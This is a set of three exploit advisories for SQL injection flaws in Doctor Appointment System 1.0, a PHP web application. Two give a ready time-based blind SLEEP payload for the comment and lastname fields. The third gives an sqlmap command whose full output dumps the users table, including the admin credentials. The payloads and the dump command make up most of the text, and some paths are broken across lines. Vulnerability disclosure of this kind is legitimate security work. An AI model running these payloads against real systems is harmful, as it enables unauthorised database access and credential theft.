# Date: 02-03-2021
# CVE: CVE-2021-27315
# Exploit Author: Soham Bakore
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0
Vulnerable File:
----------------
http://host/doctorappointment/contactus.php
<http://host/patient/search_result.php>
Vulnerable Issue:
-----------------
comment parameter has no input validation
POC:
----
1] Navigate to http://host/doctorappointment/contactus.php
2] In the comment parameter enter following payload to exploit
blind SQL
Injection:
'+AND+(SELECT+7827+FROM+(SELECT(SLEEP(10)))xEII)+AND+'1'%3d'1
3] This can further be escalated to dump sensitive information from
the
database
------------------
# Exploit Title: Doctor Appointment System 1.0 Blind SQL
injection in
lastname parameter
# Date: 02-03-2021
# CVE: CVE-2021-27316
# Exploit Author: Soham Bakore
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0
Vulnerable File:
----------------
http://host/doctorappointment/contactus.php
<http://host/patient/search_result.php>
Vulnerable Issue:
-----------------
lastname parameter has no input validation
POC:
----
1] Navigate to http://host/doctorappointment/contactus.php
2] In the lastname parameter enter following payload to exploit
blind SQL
Injection:
'+AND+(SELECT+7827+FROM+(SELECT(SLEEP(10)))xEII)+AND+'1'%3d'1
3] This can further be escalated to dump sensitive information from
the
database
------------------
# Exploit Title: Doctor Appointment System 1.0 - SQL Injection
in username parameter
# Date: 03-03-2021
# CVE: CVE-2021-27314
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0
Vulnerable File:
----------------
http://host/doctorappointmen
<http://host/patient/search_result.php>
tsystem/admin/index.php
Vulnerable Issue:
-----------------
username parameter has no input validation
POC:
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
>sqlmap -r /root/CVE/das/req1.txt --batch --level 5 --risk 3 -p
username
--random-agent --dbms mysql -D projectmms -T users --dump
___
__H__
___ ___[)]_____ ___ ___ {1.5.1.40#dev}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets
without prior
mutual consent is illegal. It is the end user's responsibility to
obey all
applicable local, state and federal laws. Developers assume no
liability
and are not responsible for any misuse or damage caused by this
program
[14:12:19] [INFO] parsing HTTP request from
'/root/CVE/das/req1.txt'
[14:12:19] [INFO] fetched random HTTP User-Agent header value
'Mozilla/5.0
(Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.19 (KHTML, like
Gecko)
Version/3.1.2 Safari/525.21' from file
'/usr/share/sqlmap/data/txt/user-agents.txt'
[14:12:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored
session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=admin' OR NOT 7090=7090--
kLSr&password=admin&submit=
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP
BY clause (FLOOR)
Payload: username=admin' OR (SELECT 2815 FROM(SELECT
COUNT(*),CONCAT(0x716a7a6271,(SELECT
(ELT(2815=2815,1))),0x7171706b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
RDnx&password=admin&submit=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 4177 FROM
(SELECT(SLEEP(5)))qiHS)-- gqVm&password=admin&submit=
---
[14:12:19] [INFO] testing MySQL
[14:12:20] [INFO] confirming MySQL
[14:12:20] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.34, Apache 2.4.46
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[14:12:20] [INFO] fetching columns for table 'users' in
database
'projectmms'
[14:12:20] [INFO] resumed: 'username'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] resumed: 'password'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] resumed: 'type'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] fetching entries for table 'users' in
database
'projectmms'
[14:12:20] [INFO] retrieved: 'admin'
[14:12:20] [INFO] retrieved: 'admin'
[14:12:20] [INFO] retrieved: 'admin'
Database: projectmms
Table: users
[1 entry]
+-------+----------+----------+
| type | username | password |
+-------+----------+----------+
| admin | admin | admin |
+-------+----------+----------+
------------------------------------------------------------------------------------------------------

